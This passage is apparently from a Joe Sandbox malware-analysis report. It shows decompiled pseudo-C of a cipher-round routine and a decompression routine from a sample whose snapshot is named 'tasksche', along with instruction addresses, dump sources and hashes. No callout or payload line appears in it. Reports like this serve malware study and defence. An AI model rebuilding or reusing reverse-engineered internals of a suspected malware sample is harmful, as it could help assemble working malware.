					_t240 = _v52 ^ _v36;
					asm("ror ecx, 0xc");
					_t230 = _t229 +  *((intOrPtr*)(_t364 + ( *_t24 & 0x000000ff) * 4 - 0x80)) + _t240;
					_v68 = _t230;
					_t231 = _t230 ^ _t252;
					_t33 = _t223 + 0x42a4d2; // 0x5040302
					asm("ror ebx, 0x8");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t33 & 0x000000ff) * 4 - 0x80)) + _v48;
					_v36 = _v36 + _t231;
					_t241 = _t240 ^ _v36;
					_t257 = _v64 ^ _t341;
					_t44 = _t223 + 0x42a4d3; // 0x6050403
					asm("ror ecx, 0x7");
					asm("ror edx, 0x10");
					_v32 = _v32 + _t257;
					_v16 = _t257;
					_t259 = _v48 ^ _v32;
					_t315 = _v40;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t44 & 0x000000ff) * 4 - 0x80)) + _t259;
					_t346 = _v64 ^ _v16;
					asm("ror esi, 0x8");
					_v32 = _v32 + _t346;
					_v16 = _t346;
					_t347 = _v44;
					asm("ror edx, 0x7");
					_v48 = _t259 ^ _v32;
					_t64 = _t223 + 0x42a4d4; // 0x7060504
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t64 & 0x000000ff) * 4 - 0x80)) + _t347;
					_t265 = _v60 ^ _v12;
					asm("ror edx, 0x10");
					_v28 = _v28 + _t265;
					_t348 = _t347 ^ _v28;
					_v12 = _t265;
					_t76 = _t223 + 0x42a4d5; // 0x8070605
					asm("ror esi, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t76 & 0x000000ff) * 4 - 0x80)) + _t348;
					_t270 = _v60 ^ _v12;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t270;
					_v12 = _t270;
					_t88 = _t223 + 0x42a4d6; // 0x9080706
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t88 & 0x000000ff) * 4 - 0x80)) + _t315;
					_t275 = _v56 ^ _v8;
					asm("ror esi, 0x7");
					asm("ror edx, 0x10");
					_v24 = _v24 + _t275;
					_t316 = _t315 ^ _v24;
					_v44 = _t348 ^ _v28;
					_v8 = _t275;
					_t101 = _t223 + 0x42a4d7; // 0xa090807
					asm("ror edi, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t101 & 0x000000ff) * 4 - 0x80)) + _t316;
					_t280 = _v56 ^ _v8;
					asm("ror edx, 0x8");
					_v24 = _v24 + _t280;
					_v8 = _t280;
					_t113 = _t223 + 0x42a4d8; // 0xb0a0908
					_t282 = _v48;
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t113 & 0x000000ff) * 4 - 0x80)) + _t282;
					_t353 = _v68 ^ _v8;
					asm("ror edi, 0x7");
					asm("ror esi, 0x10");
					_v28 = _v28 + _t353;
					_t283 = _t282 ^ _v28;
					_v40 = _t316 ^ _v24;
					_t126 = _t223 + 0x42a4d9; // 0xc0b0a09
					asm("ror edx, 0xc");
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t126 & 0x000000ff) * 4 - 0x80)) + _t283;
					_v48 = _t283;
					_t285 = _v68 ^ _t353;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t285;
					_v8 = _t285;
					_t139 = _t223 + 0x42a4db; // 0xe0d0c0b
					asm("ror edx, 0x7");
					_v48 = _v48 ^ _v28;
					_t144 = _t223 + 0x42a4da; // 0xd0c0b0a
					_t289 = _v44;
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t144 & 0x000000ff) * 4 - 0x80)) + _t289;
					_t357 = _v64 ^ _t231;
					asm("ror esi, 0x10");
					_v24 = _v24 + _t357;
					_t290 = _t289 ^ _v24;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t139 & 0x000000ff) * 4 - 0x80)) + _t290;
					asm("ror edi, 0x8");
					_t358 = _v64 ^ _t357;
					_v24 = _v24 + _t358;
					_t161 = _t223 + 0x42a4dd; // 0xe0f0e0d
					asm("ror edx, 0x7");
					_v44 = _t290 ^ _v24;
					_t166 = _t223 + 0x42a4dc; // 0xf0e0d0c
					_v20 = _t358;
					_t293 = _v40;
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t166 & 0x000000ff) * 4 - 0x80)) + _t293;
					_t362 = _v60 ^ _v16;
					asm("ror esi, 0x10");
					_v36 = _v36 + _t362;
					_t294 = _t293 ^ _v36;
					asm("ror edx, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t161 & 0x000000ff) * 4 - 0x80)) + _t294;
					asm("ror edi, 0x8");
					_t341 = _v60 ^ _t362;
					_v36 = _v36 + _t341;
					_t185 = _t223 + 0x42a4df; // 0x40a0e0f
					asm("ror edx, 0x7");
					_v40 = _t294 ^ _v36;
					_t190 = _t223 + 0x42a4de; // 0xa0e0f0e
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t190 & 0x000000ff) * 4 - 0x80)) + _t241;
					_t300 = _v56 ^ _v12;
					_t223 = _t223 + 0x10;
					asm("ror edx, 0x10");
					_v32 = _v32 + _t300;
					_t242 = _t241 ^ _v32;
					_v16 = _t341;
					asm("ror ecx, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t185 & 0x000000ff) * 4 - 0x80)) + _t242;
					asm("ror edi, 0x8");
					_t301 = _v56 ^ _t300;
					_v32 = _v32 + _t301;
					_v12 = _t301;
					asm("ror ecx, 0x7");
					_v52 = _t242 ^ _v32;
					if(_t223 > 0x90) {
						break;
					}
					_t238 = _v20;
				}
				_t244 = 0;
				do {
					_t226 =  *((intOrPtr*)(_a4 + 0xf4)) + _t244;
					_t303 =  *(_t364 + _t244 - 0x20) ^  *_t226;
					_t244 = _t244 + 4;
					 *_t226 = _t303 ^  *(_t364 + _t244 - 0x44);
				} while (_t244 < 0x20);
				return _t226;
			}

0x0040498f
0x0040499f
0x004049a3
0x004049ab
0x004049b1
0x004049b8
0x004049ce
0x004049d4
0x004049da
0x004049dd
0x004049e4
0x004049eb
0x004049f2
0x004049f9
0x004049fc
0x00404a03
0x00404a03
0x00404a14
0x00404a16
0x00404a23
0x00404a25
0x00404a28
0x00404a2e
0x00404a31
0x00404a36
0x00404a38
0x00404a3b
0x00404a3d
0x00404a4b
0x00404a4e
0x00404a51
0x00404a54
0x00404a5a
0x00404a5c
0x00404a67
0x00404a6a
0x00404a6d
0x00404a70
0x00404a76
0x00404a79
0x00404a7c
0x00404a81
0x00404a87
0x00404a8a
0x00404a8d
0x00404a93
0x00404a96
0x00404a99
0x00404a9c
0x00404a9f
0x00404aac
0x00404ab2
0x00404ab5
0x00404ab8
0x00404abb
0x00404abe
0x00404ac1
0x00404acc
0x00404ad1
0x00404ad7
0x00404ada
0x00404add
0x00404ae3
0x00404ae6
0x00404af3
0x00404af9
0x00404afc
0x00404aff
0x00404b02
0x00404b05
0x00404b08
0x00404b0b
0x00404b0e
0x00404b19
0x00404b1e
0x00404b24
0x00404b27
0x00404b2a
0x00404b30
0x00404b33
0x00404b3e
0x00404b43
0x00404b49
0x00404b4c
0x00404b4f
0x00404b52
0x00404b55
0x00404b58
0x00404b5b
0x00404b66
0x00404b6b
0x00404b6e
0x00404b74
0x00404b76
0x00404b79
0x00404b7c
0x00404b85
0x00404b90
0x00404b93
0x00404b96
0x00404ba1
0x00404ba6
0x00404bac
0x00404bae
0x00404bb1
0x00404bb4
0x00404bb7
0x00404bbc
0x00404bc4
0x00404bc7
0x00404bc9
0x00404bcf
0x00404bda
0x00404bdd
0x00404be0
0x00404be7
0x00404bee
0x00404bf3
0x00404bf9
0x00404bfc
0x00404bff
0x00404c02
0x00404c05
0x00404c0a
0x00404c12
0x00404c15
0x00404c17
0x00404c1d
0x00404c28
0x00404c2b
0x00404c2e
0x00404c3b
0x00404c41
0x00404c44
0x00404c47
0x00404c4a
0x00404c4d
0x00404c50
0x00404c53
0x00404c58
0x00404c60
0x00404c63
0x00404c65
0x00404c6b
0x00404c6e
0x00404c71
0x00404c79
0x00000000
0x00000000
0x00404a00
0x00404a00
0x00404c81
0x00404c84
0x00404c91
0x00404c93
0x00404c95
0x00404c9c
0x00404c9e
0x00404ca4

Strings

gj, xrefs: 004049DD

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction ID: d9eb52a2d6ff44a43e3580116b86408f9a206631cbab7b39ea8bb55ae5343344
Opcode Fuzzy Hash: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction Fuzzy Hash: 81C126B2D002289BDF44CF9AD8405EEFBF2BFC8310F2AC1A6D81477615D6346A529F91

Uniqueness

Uniqueness Score: -1.00%

Function 00416C3F Relevance: .8, Instructions: 835
COMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E00416C3F(void* __ecx, unsigned int _a4) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t398;
				signed int _t399;
				unsigned int _t400;
				signed int _t403;
				intOrPtr* _t405;
				signed int _t407;
				unsigned int _t408;
				signed int _t411;
				signed int _t412;
				signed int* _t420;
				intOrPtr _t421;
				unsigned int _t423;
				unsigned int _t432;
				unsigned int _t434;
				signed int _t435;
				unsigned int _t438;
				signed int _t441;
				signed int _t442;
				signed int _t444;
				signed int _t445;
				signed int* _t446;
				char* _t447;
				unsigned int _t449;
				unsigned int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t464;
				unsigned int _t465;
				signed int _t468;
				signed int _t469;
				signed int* _t477;
				unsigned int _t479;
				unsigned int _t482;
				signed int _t483;
				unsigned int _t486;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				unsigned int _t492;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				unsigned int _t498;
				signed int _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t515;
				intOrPtr _t517;
				void* _t521;
				signed int _t522;
				void* _t526;
				signed int _t527;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t537;
				void* _t539;
				intOrPtr* _t540;
				signed int _t541;
				intOrPtr* _t543;
				intOrPtr* _t544;
				void* _t547;
				signed int _t548;
				intOrPtr* _t551;
				signed int _t554;
				signed int _t555;
				signed int _t558;
				unsigned int _t559;
				void* _t561;
				signed int _t562;
				signed int _t565;
				intOrPtr* _t568;
				signed int _t569;
				signed int _t570;
				intOrPtr* _t571;
				signed int _t574;
				signed int _t576;
				unsigned int _t578;
				void* _t580;
				signed int _t583;
				signed int _t585;
				unsigned int _t587;
				void* _t589;
				signed int _t593;
				char* _t604;
				signed int _t605;
				void* _t608;
				void* _t612;
				signed int _t615;
				signed int _t618;
				unsigned int _t624;
				signed int _t625;
				unsigned int _t627;
				signed int _t633;
				unsigned int _t635;
				void* _t637;
				signed int _t640;
				signed int _t642;
				unsigned int _t648;
				signed int _t649;
				void* _t651;
				signed int _t656;
				unsigned int _t658;
				void* _t660;
				void* _t662;
				signed int _t665;
				void* _t668;
				void* _t670;
				signed int _t673;
				void* _t676;
				void* _t683;
				signed int _t686;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t713;
				signed int _t733;
				signed int _t736;
				signed int _t750;
				intOrPtr* _t753;
				intOrPtr* _t758;
				void* _t760;
				void* _t761;
				void* _t767;

				_t760 = __ecx;
				 *((char*)(__ecx + 0x4c58)) = 1;
				if( *((char*)(__ecx + 0x4c48)) != 0) {
					L4:
					_t758 = _t760 + 4;
					while(1) {
						 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
						if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
							goto L15;
						} else {
							_t540 = _t760 + 0x80;
						}
						while(1) {
							L7:
							_t767 =  *_t758 -  *_t540 +  *((intOrPtr*)(_t760 + 0x88)) - 1;
							if(_t767 <= 0 && (_t767 != 0 ||  *((intOrPtr*)(_t760 + 8)) <  *((intOrPtr*)(_t760 + 0x84)))) {
								break;
							}
							if( *((char*)(_t760 + 0x90)) != 0) {
								L104:
								return E00415346(_t760);
							}
							_push(_t540);
							_push(_t758);
							_t517 = E0041450F(_t540, _t760);
							if(_t517 == 0) {
								L105:
								return _t517;
							} else {
								_t521 = E0041462B(_t540, _t760, _t758, _t540, _t760 + 0x94);
								if(_t521 != 0) {
									continue;
								} else {
									return _t521;
								}
							}
						}
						_t522 = E004123EB(_t540, _t760);
						__eflags = _t522;
						if(_t522 == 0) {
							goto L104;
						}
						L15:
						_t398 =  *((intOrPtr*)(_t760 + 0x4b30));
						_t574 =  *(_t760 + 0x70);
						__eflags = (_t398 - _t574 &  *(_t760 + 0xe6dc)) - 0x1004;
						if((_t398 - _t574 &  *(_t760 + 0xe6dc)) >= 0x1004) {
							L21:
							_t399 = E0040978C(_t758);
							_t527 =  *(_t760 + 0x118);
							_t400 = _t399 & 0x0000fffe;
							__eflags = _t400 -  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4));
							if(_t400 >=  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4))) {
								_t695 = 0xf;
								_t576 = _t527 + 1;
								__eflags = _t576 - _t695;
								if(_t576 >= _t695) {
									L29:
									_t578 =  *(_t758 + 4) + _t695;
									 *(_t758 + 4) = _t578 & 0x00000007;
									 *_t758 =  *_t758 + (_t578 >> 3);
									_t580 = 0x10;
									_t403 = (_t400 -  *((intOrPtr*)(_t760 + 0x94 + _t695 * 4)) >> _t580 - _t695) +  *((intOrPtr*)(_t760 + 0xd8 + _t695 * 4));
									__eflags = _t403 -  *((intOrPtr*)(_t760 + 0x94));
									if(_t403 >=  *((intOrPtr*)(_t760 + 0x94))) {
										_t403 = 0;
										__eflags = 0;
									}
									_t530 =  *(_t760 + 0xd1c + _t403 * 2) & 0x0000ffff;
									goto L32;
								} else {
									_t571 = _t760 + 0x98 + _t576 * 4;
									while(1) {
										__eflags = _t400 -  *_t571;
										if(_t400 <  *_t571) {
											_t695 = _t576;
											goto L29;
										}
										_t576 = _t576 + 1;
										_t571 = _t571 + 4;
										__eflags = _t576 - 0xf;
										if(_t576 < 0xf) {
											continue;
										} else {
											goto L29;
										}
									}
									goto L29;
								}
							} else {
								_t683 = 0x10;
								_t515 = _t400 >> _t683 - _t527;
								_t686 = ( *(_t515 + _t760 + 0x11c) & 0x000000ff) +  *(_t758 + 4);
								 *_t758 =  *_t758 + (_t686 >> 3);
								 *(_t758 + 4) = _t686 & 0x00000007;
								_t530 =  *(_t760 + 0x51c + _t515 * 2) & 0x0000ffff;
								L32:
								__eflags = _t530 - 0x100;
								if(_t530 >= 0x100) {
									__eflags = _t530 - 0x106;
									if(_t530 < 0x106) {
										__eflags = _t530 - 0x100;
										if(_t530 != 0x100) {
											__eflags = _t530 - 0x101;
											if(_t530 != 0x101) {
												_t531 = _t530 + 0xfffffefe;
												__eflags = _t531;
												_t405 = _t760 + 0x54 + _t531 * 4;
												_v16 =  *_t405;
												_t583 = _t531;
												if(_t531 == 0) {
													L127:
													 *((intOrPtr*)(_t760 + 0x54)) = _v16;
													_t407 = E0040978C(_t758);
													_t532 =  *(_t760 + 0x2ddc);
													_t408 = _t407 & 0x0000fffe;
													__eflags = _t408 -  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4));
													if(_t408 >=  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4))) {
														_t696 = 0xf;
														_t585 = _t532 + 1;
														__eflags = _t585 - _t696;
														if(_t585 >= _t696) {
															L135:
															_t587 =  *(_t758 + 4) + _t696;
															 *(_t758 + 4) = _t587 & 0x00000007;
															 *_t758 =  *_t758 + (_t587 >> 3);
															_t589 = 0x10;
															_t411 = (_t408 -  *((intOrPtr*)(_t760 + 0x2d58 + _t696 * 4)) >> _t589 - _t696) +  *((intOrPtr*)(_t760 + 0x2d9c + _t696 * 4));
															__eflags = _t411 -  *((intOrPtr*)(_t760 + 0x2d58));
															if(_t411 >=  *((intOrPtr*)(_t760 + 0x2d58))) {
																_t411 = 0;
																__eflags = 0;
															}
															_t412 =  *(_t760 + 0x39e0 + _t411 * 2) & 0x0000ffff;
															L138:
															__eflags = _t412 - 8;
															if(_t412 >= 8) {
																_t537 = (_t412 >> 2) - 1;
																_v12 = ((_t412 & 0x00000003 | 0x00000004) << _t537) + 2;
																__eflags = _t537;
																if(_t537 > 0) {
																	_t438 = E0040978C(_t758);
																	_t608 = 0x10;
																	_v12 = _v12 + (_t438 >> _t608 - _t537);
																	_t441 =  *(_t758 + 4) + _t537;
																	 *_t758 =  *_t758 + (_t441 >> 3);
																	_t442 = _t441 & 0x00000007;
																	__eflags = _t442;
																	 *(_t758 + 4) = _t442;
																}
															} else {
																_v12 = _t412 + 2;
															}
															__eflags =  *((char*)(_t760 + 0x4c38));
															 *(_t760 + 0x68) = _v12;
															if( *((char*)(_t760 + 0x4c38)) == 0) {
																_a4 = _v12;
																_t420 = _t760 + 0x70;
																_t697 =  *_t420;
																_t593 = _t697 - _v16;
																_t539 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																_v8 = _t593;
																__eflags = _t593 - _t539;
																if(_t593 >= _t539) {
																	goto L162;
																}
																__eflags = _t697 - _t539;
																if(_t697 >= _t539) {
																	goto L162;
																}
																_t421 =  *((intOrPtr*)(_t760 + 0x4b34));
																_t543 = _t421 + _t593;
																_v8 = _t421 + _t697;
																_t423 = _v12;
																 *(_t760 + 0x70) = _t423 + _t697;
																__eflags = _v16 - _t423;
																if(_v16 >= _t423) {
																	__eflags = _t423 - 8;
																	if(_t423 < 8) {
																		L154:
																		__eflags = _a4;
																		if(_a4 > 0) {
																			__eflags = _a4 - 1;
																			_t604 = _v8;
																			 *_t604 =  *_t543;
																			if(_a4 > 1) {
																				__eflags = _a4 - 2;
																				 *((char*)(_t604 + 1)) =  *((intOrPtr*)(_t543 + 1));
																				if(_a4 > 2) {
																					__eflags = _a4 - 3;
																					 *((char*)(_t604 + 2)) =  *((intOrPtr*)(_t543 + 2));
																					if(_a4 > 3) {
																						__eflags = _a4 - 4;
																						 *((char*)(_t604 + 3)) =  *((intOrPtr*)(_t543 + 3));
																						if(_a4 > 4) {
																							__eflags = _a4 - 5;
																							 *((char*)(_t604 + 4)) =  *((intOrPtr*)(_t543 + 4));
																							if(_a4 > 5) {
																								__eflags = _a4 - 6;
																								 *((char*)(_t604 + 5)) =  *((intOrPtr*)(_t543 + 5));
																								if(_a4 > 6) {
																									 *((char*)(_t604 + 6)) =  *((intOrPtr*)(_t543 + 6));
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																		continue;
																	}
																	_t432 = _v12 >> 3;
																	__eflags = _t432;
																	_v16 = _t432;
																	do {
																		E0041C290(_t543, _t758, _t760, _v8, _t543, 8);
																		_v8 = _v8 + 8;
																		_a4 = _a4 - 8;
																		_t761 = _t761 + 0xc;
																		_t543 = _t543 + 8;
																		_t362 =  &_v16;
																		 *_t362 = _v16 - 1;
																		__eflags =  *_t362;
																	} while ( *_t362 != 0);
																	goto L154;
																}
																__eflags = _t423 - 8;
																if(_t423 < 8) {
																	goto L154;
																}
																_t434 = _t423 >> 3;
																__eflags = _t434;
																_t605 = _t434;
																_t435 = _v8;
																do {
																	_a4 = _a4 - 8;
																	 *_t435 =  *_t543;
																	 *((char*)(_t435 + 1)) =  *((intOrPtr*)(_t543 + 1));
																	 *((char*)(_t435 + 2)) =  *((intOrPtr*)(_t543 + 2));
																	 *((char*)(_t435 + 3)) =  *((intOrPtr*)(_t543 + 3));
																	 *((char*)(_t435 + 4)) =  *((intOrPtr*)(_t543 + 4));
																	 *((char*)(_t435 + 5)) =  *((intOrPtr*)(_t543 + 5));
																	 *((char*)(_t435 + 6)) =  *((intOrPtr*)(_t543 + 6));
																	 *((char*)(_t435 + 7)) =  *((intOrPtr*)(_t543 + 7));
																	_t543 = _t543 + 8;
																	_t435 = _t435 + 8;
																	_t605 = _t605 - 1;
																	__eflags = _t605;
																} while (_t605 != 0);
																_v8 = _t435;
																goto L154;
															} else {
																_push( *(_t760 + 0xe6dc));
																_push(_t760 + 0x70);
																_push(_v16);
																_push(_v12);
																goto L77;
															}
														}
														_t544 = _t760 + 0x2d5c + _t585 * 4;
														while(1) {
															__eflags = _t408 -  *_t544;
															if(_t408 <  *_t544) {
																break;
															}
															_t585 = _t585 + 1;
															_t544 = _t544 + 4;
															__eflags = _t585 - 0xf;
															if(_t585 < 0xf) {
																continue;
															}
															goto L135;
														}
														_t696 = _t585;
														goto L135;
													}
													_t612 = 0x10;
													_t444 = _t408 >> _t612 - _t532;
													_t615 = ( *(_t444 + _t760 + 0x2de0) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t615 >> 3);
													 *(_t758 + 4) = _t615 & 0x00000007;
													_t412 =  *(_t760 + 0x31e0 + _t444 * 2) & 0x0000ffff;
													goto L138;
												} else {
													goto L126;
												}
												do {
													L126:
													 *_t405 =  *((intOrPtr*)(_t405 - 4));
													_t583 = _t583 - 1;
													_t405 = _t405 - 4;
													__eflags = _t583;
												} while (_t583 > 0);
												goto L127;
											}
											goto L107;
										}
										_push( &_v32);
										_t453 = E00414290(_t760, _t758);
										__eflags = _t453;
										if(_t453 == 0) {
											goto L104;
										}
										goto L103;
									} else {
										_t457 = _t530 - 0x106;
										__eflags = _t457 - 8;
										if(_t457 >= 8) {
											_t554 = (_t457 >> 2) - 1;
											_v16 = ((_t457 & 0x00000003 | 0x00000004) << _t554) + 2;
											__eflags = _t554;
											if(_t554 > 0) {
												_t506 = E0040978C(_t758);
												_t676 = 0x10;
												_v16 = _v16 + (_t506 >> _t676 - _t554);
												_t509 =  *(_t758 + 4) + _t554;
												 *_t758 =  *_t758 + (_t509 >> 3);
												_t510 = _t509 & 0x00000007;
												__eflags = _t510;
												 *(_t758 + 4) = _t510;
											}
										} else {
											_v16 = _t457 + 2;
										}
										_a4 = _v16;
										_t464 = E0040978C(_t758);
										_t733 =  *(_t760 + 0x1004);
										_t465 = _t464 & 0x0000fffe;
										__eflags = _t465 -  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4));
										if(_t465 >=  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4))) {
											_t555 = 0xf;
											_t633 = _t733 + 1;
											__eflags = _t633 - _t555;
											if(_t633 >= _t555) {
												L49:
												_t635 =  *(_t758 + 4) + _t555;
												 *(_t758 + 4) = _t635 & 0x00000007;
												 *_t758 =  *_t758 + (_t635 >> 3);
												_t637 = 0x10;
												_t468 = (_t465 -  *((intOrPtr*)(_t760 + 0xf80 + _t555 * 4)) >> _t637 - _t555) +  *((intOrPtr*)(_t760 + 0xfc4 + _t555 * 4));
												__eflags = _t468 -  *((intOrPtr*)(_t760 + 0xf80));
												if(_t468 >=  *((intOrPtr*)(_t760 + 0xf80))) {
													_t468 = 0;
													__eflags = 0;
												}
												_t469 =  *(_t760 + 0x1c08 + _t468 * 2) & 0x0000ffff;
												goto L52;
											} else {
												_t753 = _t760 + 0xf84 + _t633 * 4;
												while(1) {
													__eflags = _t465 -  *_t753;
													if(_t465 <  *_t753) {
														_t555 = _t633;
														goto L49;
													}
													_t633 = _t633 + 1;
													_t753 = _t753 + 4;
													__eflags = _t633 - 0xf;
													if(_t633 < 0xf) {
														continue;
													} else {
														goto L49;
													}
												}
												goto L49;
											}
										} else {
											_t670 = 0x10;
											_t505 = _t465 >> _t670 - _t733;
											_t673 = ( *(_t505 + _t760 + 0x1008) & 0x000000ff) +  *(_t758 + 4);
											 *_t758 =  *_t758 + (_t673 >> 3);
											 *(_t758 + 4) = _t673 & 0x00000007;
											_t469 =  *(_t760 + 0x1408 + _t505 * 2) & 0x0000ffff;
											L52:
											__eflags = _t469 - 4;
											if(_t469 >= 4) {
												_t558 = (_t469 >> 1) - 1;
												_v12 = ((_t469 & 0x00000001 | 0x00000002) << _t558) + 1;
												__eflags = _t558;
												if(_t558 <= 0) {
													L71:
													_t559 = _v12;
													__eflags = _t559 - 0x100;
													if(_t559 > 0x100) {
														_a4 = _v16 + 1;
														__eflags = _t559 - 0x2000;
														if(_t559 > 0x2000) {
															_a4 = _a4 + 1;
															__eflags = _t559 - 0x40000;
															if(_t559 > 0x40000) {
																_t147 =  &_a4;
																 *_t147 = _a4 + 1;
																__eflags =  *_t147;
															}
														}
													}
													__eflags =  *((char*)(_t760 + 0x4c38));
													_t640 = _a4;
													 *((intOrPtr*)(_t760 + 0x60)) =  *((intOrPtr*)(_t760 + 0x5c));
													 *((intOrPtr*)(_t760 + 0x5c)) =  *((intOrPtr*)(_t760 + 0x58));
													 *((intOrPtr*)(_t760 + 0x58)) =  *((intOrPtr*)(_t760 + 0x54));
													 *((intOrPtr*)(_t760 + 0x54)) = _t559;
													 *(_t760 + 0x68) = _t640;
													_t477 = _t760 + 0x70;
													if( *((char*)(_t760 + 0x4c38)) == 0) {
														_t736 =  *_t477;
														_v8 = _t640;
														_t642 = _t736 - _t559;
														_t561 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
														_v16 = _t642;
														__eflags = _t642 - _t561;
														if(_t642 >= _t561) {
															L97:
															__eflags = _a4;
															if(_a4 <= 0) {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
															}
															L98:
															_t562 =  *(_t760 + 0xe6dc);
															do {
																_v8 = _v8 - 1;
																 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t477)) =  *((intOrPtr*)((_t642 & _t562) +  *((intOrPtr*)(_t760 + 0x4b34))));
																_t562 =  *(_t760 + 0xe6dc);
																_t642 = _v16 + 1;
																__eflags = _v8;
																_v16 = _t642;
																 *_t477 =  *_t477 + 0x00000001 & _t562;
															} while (_v8 > 0);
															continue;
															do {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
																goto L97;
															} while (_a4 <= 0);
															goto L98;
														}
														__eflags = _t736 - _t561;
														if(_t736 >= _t561) {
															goto L97;
														}
														_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t642;
														_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t736;
														_t648 = _a4;
														 *_t477 = _t736 + _t648;
														__eflags = _v12 - _t648;
														if(_v12 >= _t648) {
															__eflags = _t648 - 8;
															if(_t648 < 8) {
																L88:
																_t625 = _v8;
																L89:
																__eflags = _t625;
																if(_t625 > 0) {
																	_t447 = _v16;
																	 *_t447 =  *_t551;
																	__eflags = _t625 - 1;
																	if(_t625 > 1) {
																		 *((char*)(_t447 + 1)) =  *((intOrPtr*)(_t551 + 1));
																		__eflags = _t625 - 2;
																		if(_t625 > 2) {
																			 *((char*)(_t447 + 2)) =  *((intOrPtr*)(_t551 + 2));
																			__eflags = _t625 - 3;
																			if(_t625 > 3) {
																				 *((char*)(_t447 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				__eflags = _t625 - 4;
																				if(_t625 > 4) {
																					 *((char*)(_t447 + 4)) =  *((intOrPtr*)(_t551 + 4));
																					__eflags = _t625 - 5;
																					if(_t625 > 5) {
																						 *((char*)(_t447 + 5)) =  *((intOrPtr*)(_t551 + 5));
																						__eflags = _t625 - 6;
																						if(_t625 > 6) {
																							 *((char*)(_t447 + 6)) =  *((intOrPtr*)(_t551 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																}
																continue;
																do {
																	while(1) {
																		 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																		if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																			goto L15;
																		} else {
																			_t540 = _t760 + 0x80;
																		}
																		goto L7;
																	}
																	L162:
																	__eflags = _v12;
																} while (_v12 <= 0);
																_t541 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t420)) =  *((intOrPtr*)((_t593 & _t541) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t541 =  *(_t760 + 0xe6dc);
																	_t593 = _v8 + 1;
																	__eflags = _a4;
																	_v8 = _t593;
																	 *_t420 =  *_t420 + 0x00000001 & _t541;
																} while (_a4 > 0);
																continue;
																do {
																	do {
																		do {
																			goto L7;
																			L107:
																			_t445 =  *(_t760 + 0x68);
																			__eflags = _t445;
																		} while (_t445 == 0);
